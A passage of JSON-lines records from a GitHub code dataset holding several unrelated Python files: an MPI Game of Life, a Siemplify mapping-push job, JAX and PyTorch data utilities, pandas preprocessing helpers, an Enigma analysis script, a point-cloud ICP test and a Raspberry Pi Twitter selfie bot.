com.send(self.cells[:,1],dest=size-1)\n self.cells[:,-1]=com.recv(source=1)\n com.send(self.cells[:,-2],dest=1)\n elif rank==size-1:\n self.cells[:,0]=com.recv(source=size-2)\n com.send(self.cells[:,1],dest=size-2)\n com.send(self.cells[:,-2],dest=0)\n self.cells[:,-1]=com.recv(source=0)\n else:\n com.send(self.cells[:,-2],dest=rank+1)\n self.cells[:,-1]=com.recv(source=rank+1)\n com.send(self.cells[:,1],dest=rank-1)\n self.cells[:,0]=com.recv(source=rank-1)\n \n for i in range(0,ny):\n i_above = (i+ny-1)%ny\n i_below = (i+1)%ny\n for j in range(1,nx-1):\n j_left = (j-1+nx)%nx\n j_right= (j+1)%nx\n voisins_i = [i_above,i_above,i_above, i , i , i_below, i_below, i_below]\n voisins_j = [j_left ,j ,j_right, j_left, j_right, j_left , j , j_right]\n voisines = np.array(self.cells[voisins_i,voisins_j])\n nb_voisines_vivantes = np.sum(voisines!=0)\n nb_voisines1 = np.sum(voisines==1)\n nb_voisines2 = np.sum(voisines==2)\n #print(f\"voisins : {nb_voisines_vivantes}, voisins1 : {nb_voisines1}, voisins2 : {nb_voisines2}\")\n if self.cells[i,j] != 0: # Si la cellule est vivante\n if (nb_voisines_vivantes < 2) or (nb_voisines_vivantes > 3):\n next_cells[i,j] = 0 # Cas de sous ou sur population, la cellule meurt\n #if(j!=0 and j!=nx-1):\n diff_cells.append(i*(self.n)+j+self.nbeg-1)\n else:\n next_cells[i,j] = self.cells[i,j] # Sinon elle reste vivante\n elif nb_voisines_vivantes == 3: # Cas où cellule morte mais entourée exactement de trois vivantes\n if (nb_voisines1 > nb_voisines2):\n next_cells[i,j] = 1 # Naissance de la cellule\n else:\n next_cells[i,j] = 2\n #if(j!=0 and j!=nx-1):\n diff_cells.append(i*(self.n)+j+self.nbeg-1)\n else:\n next_cells[i,j] = 0 # Morte, elle reste morte.\n #if rank==1:\n # print(next_cells[:,1:nx-1])\n #cells2 = com.allgather(next_cells[:,1:nx-1])\n #cells2=np.reshape(cells2,(self.dimensions[0],self.dimensions[1]))\n #diff_cells2 = com.allgather(diff_cells)\n #diff_cells2=[j for L in diff_cells2 for j in L]\n self.cells = next_cells\n return diff_cells\n \n \nclass App:\n \"\"\"\n Cette classe décrit la fenêtre affichant la grille à l'écran\n - geometry est un tuple de deux entiers donnant le nombre de pixels verticaux et horizontaux (dans cet ordre)\n - grid est la grille décrivant l'automate cellulaire (voir plus haut)\n \"\"\"\n def __init__(self, geometry, grid):\n self.grid = grid\n # Calcul de la taille d'une cellule par rapport à la taille de la fenêtre et de la grille à afficher :\n self.size_x = geometry[1]//grid.dimensions[1]\n self.size_y = geometry[0]//grid.dimensions[0]\n if self.size_x > 4 and self.size_y > 4 :\n self.draw_color='black'\n else:\n self.draw_color=\"\"\n # Ajustement de la taille de la fenêtre pour bien fitter la dimension de la grille\n self.width = grid.dimensions[1] * self.size_x\n self.height= grid.dimensions[0] * self.size_y\n # Création de la fenêtre à l'aide de tkinter\n self.root = tk.Tk()\n # Création de l'objet d'affichage\n self.canvas = tk.Canvas(self.root, height = self.height, width = self.width)\n self.canvas.pack()\n #\n self.canvas_cells = []\n\n def compute_rectangle(self, i : int, j : int):\n \"\"\"\n Calcul la géométrie du rectangle correspondant à la cellule (i,j)\n \"\"\"\n return (self.size_x*j,self.height - self.size_y*i - 1, self.size_x*j+self.size_x-1, self.height - self.size_y*(i+1) )\n\n def compute_color(self,i : int,j : int):\n if self.grid.cells[i,j] == 0:\n return self.grid.col_dead\n elif self.grid.cells[i,j] == 1:\n return self.grid.col_life[0]\n else:\n return self.grid.col_life[1]\n \n def draw(self, diff):\n if len(self.canvas_cells) == 0:\n # Création la première fois des cellules en tant qu'entité graphique :\n self.canvas_cells = [self.canvas.create_rectangle(*self.compute_rectangle(i,j), fill=self.compute_color(i,j),outline=self.draw_color) for i in range(self.grid.dimensions[0]) for j in range(self.grid.dimensions[1])]\n else:\n nx = self.grid.dimensions[1]\n [self.canvas.itemconfig(self.canvas_cells[ind], fill=self.compute_color(ind//nx,ind%nx),outline=self.draw_color) for ind in diff]\n self.root.update_idletasks()\n self.root.update()\n\n# python lifegame toad\n# python lifegame beacon\nif __name__ == '__main__':\n import time\n import sys\n dico_patterns = { # Dimension et pattern dans un tuple\n 'blinker' : ((5,5),[(2,1,1),(2,2,2),(2,3,2)]),\n 'toad' : ((6,6),[(2,2,1),(2,3,1),(2,4,1),(3,3,2),(3,4,2),(3,5,2)]),\n \"acorn\" : ((100,100), [(51,52,1),(52,54,2),(53,51,1),(53,52,1),(53,55,2),(53,56,2),(53,57,2)]),\n \"beacon\" : ((6,6), [(1,3,1),(1,4,1),(2,3,1),(2,4,1),(3,1,2),(3,2,2),(4,1,2),(4,2,2)]),\n \"boat\" : ((5,5),[(1,1,1),(1,2,1),(2,1,2),(2,3,2),(3,2,2)]),\n \"glider\": ((100,90),[(1,1,1),(2,2,2),(2,3,2),(3,1,1),(3,2,1)]),\n \"glider_gun\": ((200,100),[(51,76,1),(52,74,1),(52,76,1),(53,64,1),(53,65,1),(53,72,2),(53,73,2),(53,86,2),(53,87,2),(54,63,2),(54,67,2),(54,72,1),(54,73,1),(54,86,1),(54,87,1),(55,52,1),(55,53,1),(55,62,1),(55,68,1),(55,72,1),(55,73,1),(56,52,2),(56,53,2),(56,62,2),(56,66,2),(56,68,2),(56,69,2),(56,74,2),(56,76,2),(57,62,2),(57,68,2),(57,76,2),(58,63,2),(58,67,2),(59,64,2),(59,65,2)]),\n \"space_ship\": ((25,25),[(11,13,1),(11,14,1),(12,11,1),(12,12,1),(12,14,1),(12,15,1),(13,11,2),(13,12,2),(13,13,2),(13,14,2),(14,12,2),(14,13,2)]),\n \"die_hard\" : ((100,100), [(51,57,1),(52,51,1),(52,52,1),(53,52,2),(53,56,2),(53,57,2),(53,58,2)]),\n \"pulsar\": ((17,17),[(2,4,1),(2,5,1),(2,6,1),(7,4,1),(7,5,1),(7,6,1),(9,4,1),(9,5,1),(9,6,1),(14,4,1),(14,5,1),(14,6,1),(2,10,2),(2,11,2),(2,12,2),(7,10,2),(7,11,2),(7,12,2),(9,10,2),(9,11,2),(9,12,2),(14,10,2),(14,11,2),(14,12,2),(4,2,1),(5,2,2),(6,2,1),(4,7,2),(5,7,1),(6,7,2),(4,9,1),(5,9,2),(6,9,1),(4,14,2),(5,14,1),(6,14,2),(10,2,1),(11,2,2),(12,2,1),(10,7,2),(11,7,1),(12,7,2),(10,9,1),(11,9,2),(12,9,1),(10,14,2),(11,14,1),(12,14,2)])\n }\n \n choice = 'acorn'\n init_pattern = dico_patterns[choice]\n grid = grille(*init_pattern)\n \n \n com=MPI.COMM_WORLD.Dup()\n size=com.size\n rank=com.rank\n \n rang_voisinage = 2\n nbeg=rank*(grid.dimensions[1]//size)\n nend=(rank+1)*(grid.dimensions[1]//size)-1+(grid.dimensions[1]%size)*(rank==size-1)\n \n ny = grid.dimensions[0]\n nx = len(np.arange(nbeg,nend+1))\n \n def newGenation(grid):\n \n cell = np.column_stack((np.zeros(grid.dimensions[0]),grid.cells[:,nbeg:nend+1],np.zeros(grid.dimensions[0])) )\n \n gridloc=grille(dim=(ny,nx+2),gridcells=cell,n=grid.dimensions[1],nbeg=nbeg)\n \n diffloc=gridloc.compute_next_iteration()\n \n diff_final=com.allgather(diffloc)\n \n diff_final=[i for L in diff_final for i in L]\n \n finalgrid= com.allgather(gridloc.cells[:,1:nx+1])\n result= np.hstack(finalgrid)\n \n grid.cells=result\n \n return diff_final\n \n\n if len(sys.argv) > 1 :\n choice = sys.argv[1]\n resx = 800\n resy = 800\n if len(sys.argv) > 3 :\n resx = int(sys.argv[2])\n resy = int(sys.argv[3])\n if rank==0:\n print(f\"Pattern initial choisi : {choice}\",flush=True)\n print(f\"resolution ecran : {resx,resy}\")\n \n appli = App((resx,resy),grid)\n if grid.dimensions[1]>=size:\n while(True):\n t1=time.time()\n diff=newGenation(grid)\n t2=time.time()\n if(rank==0):\n appli.draw(diff)\n \n t3=time.time()\n \n print(f\"Temps calcul prochaine generation : {t2-t1:2.2e} secondes, temps affichage : {t3-t2:2.2e} secondes\\n\", end='')\n \n else:\n print(\"ERROR: Nombre de colonnes inférieur aux nombres de processus\")\n\n","repo_name":"Minloubou/Calcul-parall-le","sub_path":"JeuDeLaVie.py","file_name":"JeuDeLaVie.py","file_ext":"py","file_size_in_byte":11018,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"18709512683","text":"from GitSyncManager import GitSyncManager\nfrom SiemplifyJob import SiemplifyJob\nfrom SiemplifyUtils import output_handler\nfrom definitions import Mapping\n\nSCRIPT_NAME = \"Push Mappings\"\n\n\n@output_handler\ndef main():\n siemplify = SiemplifyJob()\n siemplify.script_name = SCRIPT_NAME\n\n commit_msg = siemplify.extract_job_param(\"Commit\")\n source = siemplify.extract_job_param(\"Source\")\n readme_addon = siemplify.extract_job_param(\"Readme Addon\", input_type=str)\n\n try:\n gitsync = GitSyncManager.from_siemplify_object(siemplify)\n siemplify.LOGGER.info(f\"Pushing mappings of {source}\")\n records = [x for x in gitsync.api.get_ontology_records() if x.get(\"source\").lower() == source.lower()]\n rules = []\n for record in records:\n record[\"exampleEventFields\"] = [] # remove event assets\n rule = gitsync.api.get_mapping_rules(record[\"source\"], record[\"product\"], record[\"eventName\"])\n for r in rule['familyFields'] + rule['systemFields']:\n # remove bad rules with no source\n if r['mappingRule']['source'] and r['mappingRule']['source'].lower() == source.lower():\n rules.append(rule)\n break\n\n if readme_addon:\n siemplify.LOGGER.info(\"Readme addon found - adding to GitSync metadata file (GitSync.json)\")\n metadata = gitsync.content.get_metadata()\n metadata[\"readmeAddons\"][\"Mappings\"][source] = '\\n'.join(\n readme_addon.split(\"\\\\n\"))\n gitsync.content.push_metadata(metadata)\n\n gitsync.content.push_mapping(Mapping(source, records, rules))\n gitsync.commit_and_push(commit_msg)\n\n except Exception as e:\n siemplify.LOGGER.error(\"General error performing Job {}\".format(SCRIPT_NAME))\n siemplify.LOGGER.exception(e)\n raise\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"chronicle/tip-marketplace-uncertified","sub_path":"Integrations/GitSync/JobsScrips/Push Mappings.py","file_name":"Push Mappings.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"6125081885","text":"import pygame\n\n\nclass Shot:\n \"\"\"\n Classes that holds all the information related to the shots present in the scene\n \"\"\"\n\n def __init__(self, position_x, position_y, level):\n \"\"\"\n Constructor of the class\n :param position_x: Initial X position\n :param position_y: Initial Y position\n :param level: Player's level\n \"\"\"\n\n self.position_X = position_x\n self.position_Y = position_y\n self.level = level\n self.damage = 50\n self.image = pygame.image.load(\"Images/friendly_beam.png\")\n\n def change_shot_position(self, x_axis, y_axis):\n \"\"\"\n Function that changes shots position by x_axis, y_axis amount\n :param x_axis: amount of units to move shot in x axis\n :param y_axis: amount of units to move shot in y axis\n \"\"\"\n\n self.position_X += x_axis * self.level\n self.position_Y += y_axis * self.level\n","repo_name":"RndBrdG/Space-Impact","sub_path":"Shot.py","file_name":"Shot.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"20"} +{"seq_id":"4061908458","text":"import jax.numpy as jnp\nimport math\nimport jax\n\ndef mvnpdfFull(X, meanAndCovList = None, unnormalize = False):\n dim = meanAndCovList[0].shape[0]\n # if we get a list of means and cov then iterate over them and return a 2d array of evals\n if(len(meanAndCovList[0].shape) > 1):\n return jax.vmap(lambda i: mvnpdfFull(X, meanAndCovList = (meanAndCovList[0][:, i].reshape((dim,)), meanAndCovList[1][:, :, i].reshape((dim, dim))), unnormalize = unnormalize), in_axes = (0,), out_axes = 1)(jnp.arange(meanAndCovList[0].shape[1]))\n else:\n if(unnormalize):\n cons = 1\n else:\n cons = 1./jnp.sqrt((2*jnp.pi)**meanAndCovList[0].size*jnp.linalg.det(meanAndCovList[1]))\n inner = jnp.sum(jnp.multiply(X.T - meanAndCovList[0].reshape((-1,1)), jnp.linalg.solve(meanAndCovList[1], X.T - meanAndCovList[0].reshape((-1,1)))), axis = 0).reshape((-1,))\n return cons*jnp.exp(-0.5*inner)\n\ndef mvnpdf(X, mean = None, covdiag = None):\n cons = 1./jnp.sqrt((2*jnp.pi)**mean.size*jnp.product(covdiag))\n inner = jnp.sum(jnp.multiply(X.T - mean.reshape((-1,1)), jnp.multiply((1./covdiag).reshape((-1,1)), X.T - mean.reshape((-1,1)))), axis = 0).reshape((-1,))\n return cons*jnp.exp(-0.5*inner)\n\ndef samplemvn(key, Nx, meanAndCov, facScale = 1):\n key, subkey = jax.random.split(key)\n dim = meanAndCov[0].shape[0]\n return jax.random.multivariate_normal(subkey, meanAndCov[0].reshape((dim,)), facScale*meanAndCov[1].reshape((dim, dim)), shape=(Nx,)), key\n\ndef sampleGaussianMixture(key, Nx, meanList, covdiagList):\n N = len(meanList)\n d = meanList[0].size\n NStep = int(math.ceil(Nx/N))\n key, subkey = jax.random.split(key)\n X = meanList[0].reshape((1,d)) + jnp.multiply(jax.random.normal(subkey, shape=(NStep, d)), covdiagList[0].reshape((1,d)))\n for i in jnp.arange(1, N):\n key, subkey = jax.random.split(key)\n X = jnp.vstack((X, meanList[i].reshape((1,d)) + jnp.multiply(jax.random.normal(subkey, shape=(NStep, d)), covdiagList[i].reshape((1,d)))))\n X = X[:Nx, :]\n return X, key\n\ndef hathh(X, mean, hleft, hright):\n return jnp.minimum(1, jnp.maximum(0.0, 1 + (X - mean)/hleft)) + jnp.minimum(1, jnp.maximum(0, 1 - (X - mean)/hright)) - 1\n","repo_name":"pehersto/ng","sub_path":"misc/pyngtools.py","file_name":"pyngtools.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"20"} +{"seq_id":"25678498204","text":"import torch\nimport numpy as np\n\nfrom torch.utils.data import Dataset, DataLoader\n\nclass TimeSeriesDataset(Dataset):\n def __init__(self, data_file, device = 'cpu', mode = \"train\"):\n self.data = pd.read_csv(data_file)\n self.device = device\n self.mode = mode\n \n def __len__(self):\n\n if self.mode == \"train\":\n return int(self.data.shape[0]*0.9)\n elif self.mode == \"val\":\n return self.data.shape[0] - int(self.data.shape[0]*0.9)\n else:\n return self.data.shape[0]\n \n\n def __getitem__(self, idx):\n \n if self.mode == \"val\":\n index = idx + int(self.data.shape[0]*0.9)\n else:\n index = idx\n\n features = np.array(self.data.iloc[index, 1:-2])\n\n x = torch.tensor(features.astype(np.float32), device = self.device)\n y = torch.tensor(np.array(self.data.iloc[index, -2:]).astype(np.float32), device = self.device)\n\n return x, y\n","repo_name":"waynemerry/aihack2023","sub_path":"data_scripts/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"30795647628","text":"import pandas as pd\nimport torch\n\nfrom sklearn.preprocessing import StandardScaler\nfrom pandas.api.types import is_numeric_dtype\n\n#print all entries of a dataframe (really all!)\ndef printAll(pdFrame):\n with pd.option_context('display.max_rows', None, 'display.max_columns', None): # more options can be specified also\n print(pdFrame)\n\n#drop columns from dataframe\ndef dropColumns(pdFrame, columns):\n\n if not isinstance(columns, list):\n columns=[columns]\n\n pdFrame = pdFrame.drop(columns=columns)\n\n return pdFrame\n\n#merge dataframes together\ndef merge_dataframes(pdFrame1, pdFrame2):\n pdFrame = pd.concat([pdFrame1, pdFrame2], axis=1)\n return pdFrame\n\ndef reshape_dataframe(pdFrame, newShape):\n data = pdFrame.values.reshape(newShape)\n return data\n\n#one hot encode columns\ndef one_hot_encode(pdFrame, columnName):\n encoded = pd.get_dummies(pdFrame[columnName], prefix= columnName)\n pdFrame = dropColumns(pdFrame, [columnName])\n pdFrame = merge_dataframes(pdFrame, encoded)\n return pdFrame\n\n#binary encode columns\ndef binary_encode(pdFrame, columnName):\n unique_vals = pdFrame[columnName].unique()\n if len(unique_vals) > 2:\n raise Exception(\"too many values (>2) for binary encoding\")\n\n pdFrame[columnName] = pdFrame[columnName].replace(unique_vals[0], 0)\n pdFrame[columnName] = pdFrame[columnName].replace(unique_vals[1], 1)\n return pdFrame\n\n#convert boolean to numeric\ndef bool_to_num(pdFrame, columnName):\n pdFrame[columnName] = pdFrame[columnName]*1\n return pdFrame\n\n#delete, split and append the splitted columns, keep describes if only one column\n#should be kept (all if -1) and title the new column name\ndef split_column(pdFrame, columnName, delimiter, keep=-1, title=\"\"):\n splitted = pdFrame[columnName].str.split(delimiter, expand=True)\n\n #keep all columns\n if keep == -1:\n columnNames = []\n for i in range(splitted.shape[1]):\n columnNames.append(columnName + \"_\" + str(i + 1))\n splitted.columns = columnNames\n else:\n splitted = splitted[keep].to_frame()\n if title == \"\":\n splitted.columns = [columnName]\n else:\n splitted.columns = [title]\n\n pdFrame = dropColumns(pdFrame, [columnName])\n\n pdFrame = merge_dataframes(pdFrame, splitted)\n return pdFrame\n\n#returns True if row has a value in a column\n#entries can be str or list (to search for multiple entries at once)\ndef has_Entry(pdFrame, columnName, entries, delete=False):\n\n #if only one entry is given convert it to a lists\n if isinstance(entries, str):\n entries = [entries]\n\n for entry in entries:\n contains = pdFrame[columnName].str.contains(entry).to_frame()\n contains.columns = [\"has_\" + entry]\n contains = bool_to_num(contains, \"has_\" + entry)\n pdFrame = merge_dataframes(pdFrame, contains)\n\n if delete:\n pdFrame = dropColumns(pdFrame, [columnName])\n\n return pdFrame\n\n#standardize values\ndef calc_scale(pdFrame, columns=[]):\n\n scaler = StandardScaler()\n\n if len(columns) == 0:\n columns = pdFrame.columns\n\n for elem in columns:\n pdFrame[elem] = pdFrame[elem].astype('float64')\n pdFrame[elem] = scaler.fit_transform(pdFrame[elem].values.reshape(-1, 1))\n\n return pdFrame\n\n#convert to binary based on threshold\ndef calc_threshold(input, threshold):\n\n if torch.is_tensor(input):\n data = input.detach().numpy()\n\n data[data >= threshold] = 1\n data[data < threshold] = 0\n\n return data\n\ndef handle_nan(pdFrame, type=\"auto\", val=\"\"):\n\n if type == \"auto\":\n\n #save columns that should be dropped\n to_drop = []\n for column in pdFrame:\n\n #check for NaN\n if pdFrame[column].isnull().values.any():\n\n sum_nan = pdFrame[column].isnull().values.sum()\n percentage_nan = sum_nan / pdFrame[column].shape[0] * 100\n\n #take average if below 50% are nan values\n if percentage_nan < 50:\n pdFrame[column] = handle_nan(pdFrame[column].to_frame(), \"avg\")\n\n #otherwise drop the column\n else:\n to_drop.append(column)\n\n #drop columns with Nan\n pdFrame = dropColumns(pdFrame, to_drop)\n\n #asap a nan value is in the column drop the column\n elif type == \"drop\":\n\n #save columns that should be dropped\n to_drop = []\n\n #iterate all columns\n for column in pdFrame:\n\n #check for NaN\n if pdFrame[column].isnull().values.any():\n to_drop.append(column)\n\n #drop columns with Nan\n pdFrame = dropColumns(pdFrame, to_drop)\n\n #replace value with avg values\n #or for nun numeric values the one that can be found most in data\n elif type == \"avg\":\n\n #iterate all columns\n for column in pdFrame:\n\n #check for NaN\n if pdFrame[column].isnull().values.any():\n\n #check type of column\n if is_numeric_dtype(pdFrame[column]):\n\n #check if it may be boolean\n uniqueList = pdFrame[column].unique().tolist()\n if (uniqueList == [0,1] or uniqueList == [1,0]):\n most_common_val = pdFrame[column].mode()[0]\n pdFrame[column] = handle_nan(pdFrame[column].to_frame(), \"val\", val=most_common_val)\n\n #here we can calulate the avg\n else:\n avg_val = pdFrame[column].mean()\n pdFrame[column] = handle_nan(pdFrame[column].to_frame(), \"val\", val=avg_val)\n\n #objects, so take most common value\n else:\n most_common_val = pdFrame[column].mode()[0]\n pdFrame[column] = handle_nan(pdFrame[column].to_frame(), \"val\", val=most_common_val)\n\n #replace Nan values with a certain value\n elif type == \"val\":\n if val == \"\":\n raise Exception(\"value cannot be empty\")\n\n pdFrame = pdFrame.fillna(val)\n\n return pdFrame\n","repo_name":"fdahle/kaggle_playground","sub_path":"common/prep.py","file_name":"prep.py","file_ext":"py","file_size_in_byte":6109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"33817620614","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nT = 50\nraspr_lambda = 1 / T\nt_max = 500\nt = np.array([i for i in range(1, t_max)])\nR_t = np.exp(-raspr_lambda * t)\n\nplt.plot(t, R_t)\nplt.title('Вероятность безотказной работы')\nplt.xlabel('t')\nplt.ylabel('R(t)')\nplt.show()","repo_name":"vanuuusha/course_4","sub_path":"nadyshno/one.py","file_name":"one.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"4328778066","text":"mks=[]\nwhile True:\n a=input()\n if a==\"\":\n break\n if len(a)==6:\n mks.append(a)\nmks=[\"AAJCBS\",\"GBOACM\",\"TCEGDS\",\"CDWDES\",\"DEDTFA\",\"BFSJGS\",\"JGSHHD\",\"HHKRIS\",\"RIAPAS\",\"PJDBKE\",\"EKCILS\",\"ILEQMS\",\"QMAONR\",\"ONCZOR\",\"ZOREJI\",\"FPEKQL\",\"KQPMRE\",\"MROLPL\",\"LSONTW\",\"NTOFUE\",\"SUTVVP\",\"VVKUWA\",\"UWOSXQ\",\"WXAXYO\",\"XYJYZO\",\"YZMWSO\"]\nsgm1=[[]]\nsgm2=[[]]\nsgm3=[[]]\nsgms=[]\nalpha=\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ndef Sgm(sgm,ind):\n global alpha\n count=0\n stl=\"A\"\n change=False\n while True:\n if count==26:\n break\n if change==True:\n for x in range(len(alpha)):\n change=False\n check=False\n for y in range(len(sgm)):\n if alpha[x] in sgm[y]:\n check=True\n break\n if check==False:\n stl=alpha[x]\n break\n sgm[-1].append(stl)\n count+=1\n for x in range(len(mks)):\n if mks[x][ind]==stl:\n enl=mks[x][ind+3]\n if sgm[-1][0]==enl:\n sgm.append([])\n change=True\n else:\n stl=enl\n tmp1=[]\n for x in range(len(sgm)):\n tmp1.append(len(sgm[x]))\n tmp1.sort()\n tmp1.reverse()\n sgmp=\"\"\n for x in range(len(tmp1)):\n sgmp+=str(tmp1[x])+\"-\"\n sgmp=sgmp[0:len(sgmp)-3]\n return sgmp\nprint(Sgm(sgm1,1))\n\n\"\"\"\ncount=0\nstl=\"A\"\nchange=False\nwhile True:\n if count==26:\n break\n if change==True:\n for x in range(len(alpha)):\n change=False\n check=False\n for y in range(len(sgm1)):\n if alpha[x] in sgm1[y]:\n check=True\n break\n if check==False:\n stl=alpha[x]\n break\n sgm1[-1].append(stl)\n count+=1\n for x in range(len(mks)):\n if mks[x][0]==stl:\n enl=mks[x][3]\n if sgm1[-1][0]==enl:\n sgm1.append([])\n change=True\n else:\n stl=enl\ntmp1=[]\nfor x in range(len(sgm1)):\n tmp1.append(len(sgm1[x]))\ntmp1.sort()\ntmp1.reverse()\nsgmp1=\"\"\nfor x in range(len(tmp1)):\n sgmp1+=str(tmp1[x])+\"-\"\nsgmp1=sgmp1[0:len(sgmp1)-3]\nprint(sgmp1)\n\"\"\"\n","repo_name":"Luke1113/Cipher","sub_path":"enigmaDeco1.py","file_name":"enigmaDeco1.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"40283737617","text":"import torch \nimport gzip \nimport numpy as np\n\nclass Dataset(torch.utils.data.Dataset):\n def __init__(self, df, mode=\"train\"):\n self.images = df['file'].values\n self.steps = df['step'].values\n self.masks = df['mask'].values\n self.mode = mode\n\n def __len__(self):\n return len(self.images)\n\n def __getitem__(self, ix):\n bands_f = gzip.GzipFile(self.images[ix], \"r\")\n bands = np.load(bands_f) # steps, 500, 500, 12\n #all_bands = bands[self.step[ix]] # 500, 500, 12\n rgb = bands[...,(3,2,1)][self.steps[ix]] # 500, 500, 3\n rgb_t = torch.from_numpy(rgb / 4000).clip(0, 1).float()\n rgb_t_pad = torch.nn.functional.pad(rgb_t, (0, 0, 6, 6, 6, 6), \"constant\", 0) # 512, 512, 3\n rgb_t_pad = rgb_t_pad.permute(2,0,1) # 3, 512, 512\n if self.mode == \"test\":\n return rgb_t_pad\n mask_f = gzip.GzipFile(self.masks[ix], \"r\")\n mask = np.load(mask_f) # 2000, 2000, 1\n mask_t = torch.from_numpy(mask).float().permute(2,0,1) # 1, 2048, 2048\n mask_t_pad = torch.nn.functional.pad(mask_t, (24, 24, 24, 24, 0, 0), \"constant\", 0) # 1, 2048, 2048\n return rgb_t_pad, mask_t_pad","repo_name":"juansensio/competis","sub_path":"EnhancedSentinel2Agriculture/src/unet/datasets/ds_slow.py","file_name":"ds_slow.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"43907041104","text":"import numpy as np\nimport pcl\nfrom pcl import IterativeClosestPoint\nimport time\n\nstart_time = time.time()\n\n\nsrc = \"/home/ajay/icp_test/deg_1.5/src.pcd\"\ntrans = \"/home/ajay/icp_test/deg_1.5/trans.pcd\"\np1 = pcl.load(src)\np2 = pcl.load(trans)\n\n\ndef computeICPDelta(source, target, iters=50):\n global currMap\n source_array = source.to_array()\n target_array = target.to_array()\n\n source_min_array = source_array[np.where((abs(source_array[:,0]) < 20) &\n (abs(source_array[:,1]) < 20))]\n target_min_array = target_array[np.where((abs(target_array[:,0]) < 20) &\n (abs(target_array[:,1]) < 20))]\n\n source_min_cloud = pcl.PointCloud(source_min_array)\n target_min_cloud = pcl.PointCloud(target_min_array)\n print(len(source_min_array))\n print(len(target_min_array))\n\n icp = source_min_cloud.make_IterativeClosestPoint()\n if ((source_min_cloud.size > 0) & (target_min_cloud.size > 0)):\n converged, transf, estimate, fitness = icp.icp(source_min_cloud, target_min_cloud, max_iter=iters)\n print(converged, estimate, fitness)\n print(icp)\n if (converged):\n if (fitness < 0.2):\n print(\"Fitness quality ok\")\n print(transf)\n else:\n print(\"ICP fails to converge\")\n else:\n print(\"No points for ICP\")\n # transf = nbconvert_exporter\n\n return transf\n\n\ndef main():\n result = computeICPDelta(p1, p2)\n print(result)\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n\n\nif __name__ == main():\n main()\n","repo_name":"adityasaky/pose-estimation","sub_path":"docs/samples/icp.py","file_name":"icp.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"24279378172","text":"from twython import TwythonStreamer\nfrom twython import Twython\nfrom picamera import PiCamera\nfrom time import sleep\n\nconsumer_key = '' #These must be added for code to work\nconsumer_secret = ''\naccess_token = ''\naccess_token_secret = ''\n\n\ntwitter = Twython(\n consumer_key,\n consumer_secret,\n access_token,\n access_token_secret\n)\n\ncamera = PiCamera()\ncamera.zoom = (0.2, 0.1, 0.6, 0.75)\n\nclass myStreamer(TwythonStreamer):\n def on_success(self, data):\n if 'text' in data:\n sleep(2)\n camera.capture('/home/pi/LoopTrackSelfie/selfie.jpg')\n photo = open('/home/pi/LoopTrackSelfie/selfie.jpg', 'rb')\n response = twitter.upload_media(media=photo)\n message = '@' + data['user']['screen_name']\n twitter.update_status(status=message, media_ids=[response['media_id']])\n\n def on_error(self, status_code, data):\n print(status_code)\n\ndef startTwitterStream():\n stream = myStreamer(\n consumer_key,\n consumer_secret,\n access_token,\n access_token_secret\n )\n stream.statuses.filter(track='loop track selfie, #looptrackselfie')\n\nstartTwitterStream()\n","repo_name":"teddylambert/LoopTracksAutoTwitter","sub_path":"TwitterCamera.py","file_name":"TwitterCamera.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"20579250984","text":"import torch.nn as nn\n\nclass HookFeat(nn.Module):\n def __init__(self, submodule, layername, upscale=False):\n super(HookFeat, self).__init__()\n\n self.submodule = submodule\n self.submodule.eval()\n self.layername = layername\n self.outputs = None\n self.inputs = None\n self.upscale = upscale\n\n\n def rescale_output_array(self, newsize):\n us = nn.Upsample(size=newsize[2:], mode='bilinear', align_corners=True)\n if isinstance(self.outputs, list):\n for index in range(len(self.outputs)): self.outputs[index] = us(self.outputs[index]).data()\n else:\n self.outputs = us(self.outputs)#.data()\n\n def get_features_hook(self,m, input, output):\n print(\"input shape: \", input[0].data.cpu().numpy().shape)\n print(\"output shape: \", output.data.cpu().numpy().shape)\n self.inputs = input\n self.outputs = output\n\n def forward(self, x):\n # target_layer = self.submodule._modules.get(self.layername)\n # target_layer = self.submodule._modules['ResNet']._modules.get(self.layername)\n\n for name, target_layer in self.submodule.named_modules():\n print(name)\n if name == self.layername:\n h_inp = target_layer.register_forward_hook(self.get_features_hook)\n\n self.submodule(x)\n h_inp.remove()\n # h_out.remove()\n\n # Rescale the feature-map if it's required\n if self.upscale: self.rescale_output_array(x.size())\n\n return self.inputs, self.outputs\n\n\nif __name__ == '__main__':\n import torchvision\n import torch\n\n res18=torchvision.models.resnet18()\n mod = HookFeat(res18, \"conv1\", upscale=True)\n img = torch.ones([1,3,224,224])\n fin, fout = mod(img)","repo_name":"apple1986/HWD","sub_path":"utils/HookFeat.py","file_name":"HookFeat.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"35178440333","text":"#!/usr/bin/env python3\n\nimport sys\nsys.path.append('../')\nimport gi\ngi.require_version('Gst', 